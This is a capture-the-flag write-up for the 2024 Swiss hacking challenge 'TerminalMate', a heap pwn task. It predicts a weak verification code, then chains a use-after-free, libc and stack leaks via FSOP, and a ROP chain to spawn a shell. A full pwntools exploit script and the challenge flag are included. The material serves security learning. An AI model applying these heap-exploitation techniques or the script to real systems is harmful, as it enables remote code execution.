swiss hacking challenge 2024 - terminal-mate

Posted on May 1, 2024

Difficulty: medium

Category: pwn

Author: mannheim

Welcome to TerminalMate

Hey there, office mates! Ready to spice up your work life? Introducing TerminalMate - the printer-action dating app that’s here to bring some excitement to your workplace interactions.

Swipe through profiles of fellow printer enthusiasts, hoping to find someone who shares your passion for office gadgets and printer maintenance. But remember, discretion is key! Keep an eye out for the watchful gaze of the IT-administrators.

So, grab your used but free coffee mug and rop your way to your next printer-action adventures.

Files

We are given a TerminalMate binary:

TerminalMate: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5886f4e43c56dd18e212996d043ef6c8b1d5acf0, for GNU/Linux 3.2.0, not stripped
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

Exploitation

Unlocking chat functionality

To unlock the ability to chat (and to allocate stuff on the heap) we need to enter a valid premium code. The mentioned mannheim_random is just a multiplication and addition with some constant value:

int64_t get_premium()

{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    puts("Try our premium features!");
    puts("Verify your account and get 10 m…");
    printf("Enter your credit card number an…");
    void var_28;
    __isoc99_scanf("%10s", &var_28);
    uint64_t rax_4 = mannheim_random();
    printf("Enter the verification code: ");
    int64_t var_38;
    __isoc99_scanf(&data_2314, &var_38);
    if (rax_4 == var_38)
    {
        puts("Congratulations! You now have 10…");
        HAS_PREMIUM = 1;
    }
    else
    {
        puts("Invalid verification code.");
        printf("It should have been %lu.\n", rax_4);
        puts("Verification code is now invalid…");
        HAS_PREMIUM = 0;
    }
    if (rax == *(uint64_t*)((char*)fsbase + 0x28))
    {
        return (rax - *(uint64_t*)((char*)fsbase + 0x28));
    }
    __stack_chk_fail();
    /* no return */
}

uint64_t mannheim_random()

{
    state = ((0x5851f42d4c957f2d * state) + 0x14057b7ef767814f);
    return state;
}

As the program shows the code that would’ve been right, we can just get the next one and unlock chats:

new_premium_code = (
    int(hex(wrong_code * 0x5851F42D4C957F2D)[2:][-16:], 16) + 0x14057B7EF767814F
)

Heap exploitation

To get code execution, I followed the following steps:

  • Trigger UAF by deleting our user; instead of a username a heap address is shown
  • Fill up tcache by editing 8 previously created messaged until we get a small bin entry (contains pointer to libc)
  • Trigger a UAF by deleting our user (deletes first message as well), we now can write into the tcache
  • Change our username to be a pointer to the smallbin on the heap (is written to the tcache entry that was deleted)
  • Get the first message to obtain a leak of the main_arena (which is part of the libc address space)
  • Use FSOP to leak environ -> stack address
  • ROP to call /bin/sh, place it on the stack
  • Call the exit function and get a shell

This looks like the following in the full solve script:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./TerminalMate_patched")
libc = ELF("./libc.so.6")

context.binary = exe
context.terminal = ["kitty", "-e", "sh", "-c"]

def change_username(r, name):
    r.sendlineafter(b"Enter your choice: ", b"2")
    r.sendlineafter(b"Enter your new name: ", name)

def exit(r):
    r.sendlineafter(b"Enter your choice: ", b"5")


def get_premium(r, number, code):
    r.sendlineafter(b"Enter your choice: ", b"3")
    r.sendlineafter(b"code: ", number)
    r.sendlineafter(b"code: ", code)
    status = r.recvuntil(b"\n")
    if b"Invalid" in status:
        r.recvuntil(b"It should have been ")
        code = r.recvuntil(b".")
        return code

def gdpr_delete(r):
    r.sendlineafter(b"Enter your choice: ", b"4")
    r.sendlineafter(b"Enter your choice: ", b"2")

def get_current_message(r, uid):
    r.sendlineafter(b"Enter your choice: ", b"1")
    user_info = r.recvuntil(b"\n")
    while b"#"+uid not in user_info:
        r.sendlineafter(b"(l/r/c):", b"l")
        user_info = r.recvuntil(b"\n")
    r.sendlineafter(b"(l/r/c):", b"c")
    status = r.recvuntil(b"\n")
    if b"matched" not in status:
        r.recvuntil(b"message is: ")
        msg = r.recvuntil(b"\n")
        r.sendlineafter(b"(y/n)", b"n")
        out =  msg
    else:
        r.sendline(b"")
        out =  b""
    r.sendline(b"q")
    return out

    r.sendline(b"q")
def chat_with_user(r, uid, message):
    r.sendlineafter(b"Enter your choice: ", b"1")
    user_info = r.recvuntil(b"\n")
    while b"#"+uid not in user_info:
        r.sendlineafter(b"(l/r/c):", b"l")
        user_info = r.recvuntil(b"\n")
    r.sendlineafter(b"(l/r/c):", b"c")
    status = r.recvuntil(b"\n")
    if b"matched" in status:
        r.sendlineafter(b"message: ", message)
    else:
        r.sendlineafter(b"(y/n)", b"y")
        r.sendline(message)
    r.sendline(b"q")


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote('64dda293-9af4-4fa4-b08d-8bc56c0c88e7.ctf.m0unt41n.ch', 1337, ssl=True)
    return r


def main():
    r = conn()

    # Leak premium code
    r.sendlineafter(b"Enter your name (8 chars): ", b"USERNAME")
    wrong_code = int(get_premium(r, b"0", b"0")[:-1])
    new_premium_code = (
        int(hex(wrong_code * 0x5851F42D4C957F2D)[2:][-16:], 16) + 0x14057B7EF767814F
    )
    success(f"Premium code: {new_premium_code}")
    # Get premium
    get_premium(r, b"1234", str(new_premium_code).encode())

    # cause UAF
    gdpr_delete(r)
    r.recvuntil(b"deleted.\n")
    # Leak Heap
    leak = unpack(r.recvuntil(b", what")[:-6].strip(), 'all')
    target = int(hex(leak)[2:-1]+hex(int(hex(leak)[-1],16)+1)[2:]+'870',16)
    heapleak = int(hex(leak)[2:]+'2b0',16)
    success(f"Heap: {hex(leak)}")

    # Prepare heap
    chat_with_user(r, b"2", b"\x00")
    chat_with_user(r, b"3", b"\x00")
    chat_with_user(r, b"4", b"\x00")
    chat_with_user(r, b"5", b"\x00")
    chat_with_user(r, b"6", b"\x00")
    chat_with_user(r, b"7", b"\x00")
    chat_with_user(r, b"8", b"\x00")
    chat_with_user(r, b"9", b"\x00")
    # Fill tcache
    chat_with_user(r, b"2", cyclic(2048))
    chat_with_user(r, b"3", b"\xff\xff")
    chat_with_user(r, b"4", cyclic(2048))
    chat_with_user(r, b"5", cyclic(2048))
    chat_with_user(r, b"6", cyclic(2048))
    chat_with_user(r, b"7", cyclic(2048))
    chat_with_user(r, b"8", cyclic(2048))
    # Create small bin
    chat_with_user(r, b"9", cyclic(2048))
    # Trigger UAF
    gdpr_delete(r)
    # Leak libc
    change_username(r, target.to_bytes(8,'little'))
    leak = unpack(get_current_message(r, b"2").strip(), 'all')-0x219cf0 #- 0x22d000 #+0x1d8000 # main_area + memory offset
    libc.address = leak
    success(f"LIBC: {hex(leak)}")


    # FSOP to stack leak (crazy)
    # https://ctftime.org/writeup/34812
    environ = libc.sym['environ']
    stdout = libc.sym['_IO_2_1_stdout_']
    read_prim = p64(0xfbad1800)
    read_prim += p64(environ)*3
    read_prim += p64(environ)
    read_prim += p64(environ + 0x8)*2
    read_prim += p64(environ + 8)
    read_prim += p64(environ + 8)

    change_username(r, stdout.to_bytes(8, 'little'))
    chat_with_user(r, b"2", read_prim)

    r.recvuntil(b"Enter your new message: ")
    stack = unpack(r.recvuntil(b"\x00\x00"), 'all')
    success(f"Stack: {hex(stack)}")


    # weird libc differences to remote, no clue tbh
    if not args.LOCAL:
        libc.address = libc.address - 0x1000
        offset = 0x20
    else:
        offset = 0x0

    # ROP ROP ROP
    chain = ROP(libc)
    chain.raw(chain.ret)
    chain.call('system', [next(libc.search(b"/bin/sh\x00")) - offset])
    # Overwrite return address
    change_username(r, (stack - 336).to_bytes(8, 'little'))
    chat_with_user(r, b"2", chain.chain())
    exit(r)
    # Shell :D
    r.interactive()

if __name__ == "__main__":
    main()

Flag

shc2024{ropertus_turned_a_wizard_with_30}

Conclusion

First “advanced” heap challenge I ever solved. I liked it a lot!